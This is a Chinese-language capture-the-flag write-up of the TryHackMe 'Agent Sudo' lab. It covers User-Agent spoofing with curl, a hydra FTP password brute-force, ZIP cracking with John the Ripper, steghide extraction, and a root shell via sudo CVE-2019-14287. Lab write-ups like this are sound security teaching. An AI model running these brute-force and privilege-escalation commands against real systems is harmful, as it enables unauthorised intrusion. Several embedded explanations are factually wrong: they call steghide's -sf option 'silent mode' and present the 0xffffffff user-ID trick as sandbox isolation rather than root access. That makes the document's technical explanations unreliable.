前言
经过Godyu前三个房间的WP描述,我们对爆破和枚举已经有了基本了解,今天打一个入侵服务器的靶场
房间地址https://tryhackme.com/room/agentsudoctf Welcome to tryhackme!
你在深海发现了一个秘密服务器。你的任务是侵入服务器并揭露真相。
任务1枚举机器并获取所有重要信息
任务2哈希破解和暴力破解
任务3捕获用户标志
任务4 权限提升
攻击的地址:10.10.10.180
实战
老样子.先ping后开扫在枚举
直接扫咯
nmap -A -sC -p- 10.10.10.180
扫的过程中我们先看一下网站能不能进入
很好,80端口也是开着的 进来说 让我们用一个代理去访问这个网站我们先等一下扫描结果几分钟就出来了
内网的话真不如THM攻击盒子快所以我放在攻击盒子上扫了
扫描结果
Nmap scan report for 10.10.191.93
Host is up (0.047s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
很好开放了22SSH端口 21 和80端口
步骤一伪造代理访问
我们再来看 Agent R说明我们可能需要以user-agent R的标准头来访问这个网站
curl
: 是一个命令行工具,用于从或向网络服务器传输数据。它可以用于发送或接收各种类型的数据,如HTTP、HTTPS、FTP等。-A "R"
: 这个选项用于设置自定义的请求头。在这里,它设置了一个请求头User-Agent
的值为 “R”。-L
: 这个选项告诉curl
当遇到重定向时自动跟随重定向。10.10.10.180
: 这是你要访问的IP地址。所以,整个命令的意思是:使用
curl
工具向 IP 地址10.10.10.180
发送一个HTTP请求,设置请求头User-Agent
为 “R”,并且在遇到重定向时自动跟随重定向。
根据我们的命令我们要伪造R的头文件去访问
curl -A "R" -L 10.10.10.180
很好很好给了一个提示 你在干什么 你是不是我们25位的雇佣者?如果不是 我就会曝光他的事
25位雇佣者 26位字母表?所以我们尝试伪造A在康康
A啥也没有 我们在伪造C看看
这个意思是改变我们的该死的弱密码 说明Chris的密码很弱对吧 注意Attention chris给了我们用户名
我们需要暴力破解他
步骤二暴力破解FTP密码
这时候我们就用九头蛇来爆破一下FTP密码
hydra -t 50 -l chris -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.180 ftp
让子弹飞一会
受Tryhackme的条约 我不能公布密码:
我们拿到FTP的密码就可以去登录了
ls看一下文件 mget *下载全部文件
mget *
回车回车下载到桌面了
给了一个txt和两个图片,两个图片毛都看不出来
打开txt看下
他说我们的密码就存在这些假的图片当中
步骤三分析图片隐写
kali的binwalk分离一下 (在SHCTF中我们使用过binwalk分离哦)大家可以看一下我的shctf的wp
以下是分析图片隐写
binwalk cutie.png
binwalk cute-alien.jpg
我们打开看一下吧
binwalk -e cutie.png
binwalk -e cute-alien.jpg
如果您的binwalk提示权限错误请在后面加上 –run-as=root 就能拿出来了
cutie里面是有东西的
我们打开看看
我们看里面zip里面是有个txt文件的但是zip受到保护了
这要是常规的CTF比赛 我直接把他拖到win里面用我的强力ZIP破解工具进行爆破
步骤四开膛手杰克破解ZIP密码
但是我们既然有了kali的开膛手杰克权且用一下开膛手杰克破解一下zip密码吧
我们先讲ZIP转换一下hash格式
zip2john 8702.zip > zip.hash
让后进行破解
john zip.hash
我们得到了密码
我们破解出了密码
打开了一下zip文件
我们可以看到给了个QXJlYTUx这个东西 我们不知道这是什么玩意但是像Base64
步骤五分析加密
根据提示的信息我们需要把这个密码发送到我们的图片也就是cute-alien
steghide info cute-alien.jpg
是一个用于提取信息(例如文件类型、大小和嵌入的数据)的命令,与Steghide这个工具一起使用。
steghide
是一个用于在图像、音频文件和其他媒体文件中隐藏和提取数据的开源工具。info
是一个选项,告诉steghide
只输出有关嵌入的数据的信息,而不尝试提取或删除它。cute-alien.jpg
是你想要分析的图像文件的名称。执行这个命令后,
steghide
会输出关于cute-alien.jpg
文件的信息,例如它是否包含嵌入的数据、数据的大小、数据的格式等。
steghide info cute-alien.jpg
如果没有请apt install steghide安装一下
之后让我们拿一下隐藏的数据
steghide extract -sf cute-alien.jpg
是一个命令,用于从给定的图像文件中提取隐藏的数据。
steghide
是一个用于在图像、音频文件和其他媒体文件中隐藏和提取数据的开源工具。extract
是一个选项,告诉steghide
要提取嵌入的数据。-sf
是一个选项,表示“静默模式”,这意味着在提取数据时不会显示任何输出或进度信息。cute-alien.jpg
是你想要从中提取数据的图像文件的名称。执行这个命令后,
steghide
会从cute-alien.jpg
文件中提取嵌入的数据,并将这些数据保存到指定的位置。如果文件包含隐藏的数据,这个命令会成功提取这些数据。如果文件不包含隐藏的数据或数据不可提取,这个命令可能会失败或产生错误消息。
steghide extract -sf cute-alien.jpg
密码也就是刚才的base64解码出来的文件 我们打开一下message.txt看一下
HI james说明我们的ssh账号是james
步骤六提权分析CVE-2019-14287命令执行漏洞
让我们ssh登录一下 账号正是james
ssh james@10.10.10.180
我们进行简单的测试 whoami id sudo-l (sudo -l 命令用于列出当前用户可以执行的命令。只有在sudoers里的用户才能使用该选项。)
让后看一下我们的版本
让我们搜一下cve漏洞
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287我们发现
在 1.8.28 之前的 Sudo 中,有权访问 Runas ALL sudoer 帐户的攻击者可以通过使用精心设计的用户 ID 调用 sudo 来绕过某些策略黑名单和会话 PAM 模块,并可能导致错误的日志记录。例如,这允许绕过sudo -u \#$((0xffffffff))
命令的 !root 配置和 USER= 日志记录。
我们的版本恰好是1.8.21低于1.8.28 下面我们就可以利用这个cve漏洞
使用我们发现的漏洞,我们可以生成一个 root shell 并获取我们的 root 标志
这个命令是一个Linux/Unix shell命令,用于以特定的用户ID(在这里是
0xffffffff
,即4294967295
)来执行/bin/bash
命令。具体来说:
sudo
: 是”superuser do”的缩写,是一个允许经过授权的用户执行超级用户(或称为root)命令的工具。-u
: 是”user”的缩写,用于指定要以哪个用户身份执行命令。#$((0xffffffff))
: 这是一个bash的算术扩展,用于计算0xffffffff
的值,即4294967295
。这是一个特殊的值,通常在系统中不会真正存在作为用户的ID,但在某些情境中(如沙盒环境)可能会被用作一个特殊的用户ID。/bin/bash
: 这是Bash shell的路径,表示要执行的命令。整体上,这个命令可能是为了在一个沙盒或隔离的环境中运行bash shell。在这种情境下,使用一个非常大的用户ID(在正常情况下并不存在)是为了确保命令在安全的环境中运行,与其他普通用户和系统用户隔离。
需要注意的是,执行这样的命令可能存在安全风险,因为它允许用户以特定的用户ID执行命令。除非你确切知道你在做什么,并且有明确的理由这样做,否则通常不建议执行这样的命令。
sudo -u \#$((0xffffffff)) /bin/bash
cat flag拿下
ok拿捏
暂无评论内容